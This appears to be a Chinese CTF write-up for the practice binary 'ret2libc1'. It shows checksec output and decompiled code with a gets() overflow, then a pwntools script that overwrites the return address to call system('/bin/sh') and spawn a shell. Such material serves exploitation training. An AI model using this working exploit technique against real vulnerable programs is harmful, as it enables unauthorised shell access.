文件下载地址:
链接:https://pan.baidu.com/s/1DN4q7Dl5J45rIysA0DvZ5A
提取码:0wn8
0x01.分析
checksec:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位程序,仅开启栈不可执行。
查看源码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}
存在gets,开始接下来的寻找:
发现存在system和/bin/sh。查看/bin/sh:
找到地址:0x08048720
继续查看函数,发现:
点进去,得到地址:
地址为:0x08048460
由pateern的offset的确定偏移量:112。
思路是控制程序返回到system的地址,然后调用/bin/sh。
0x02.exp
##!/uer/bin/env python
from pwn import *
r=process('./ret2libc1')
sys_adr=0x08048460
binsh_adr=0x08048720
payload=112*'A'+p32(sys_adr)+4*'A'+p32(binsh_adr)
r.sendline(payload)
r.interactive()
0x03.总结
后面的 4 * 'A' 其实是system的返回地址,是随便设的,主要是后面的参数bin/sh地址要正确。
栈中ebp一下的部分从上到下依次是(低地址到高地址):
- 返回地址(覆盖为sys的地址)
- system的返回地址(随便设)
- system的参数(/bin/sh)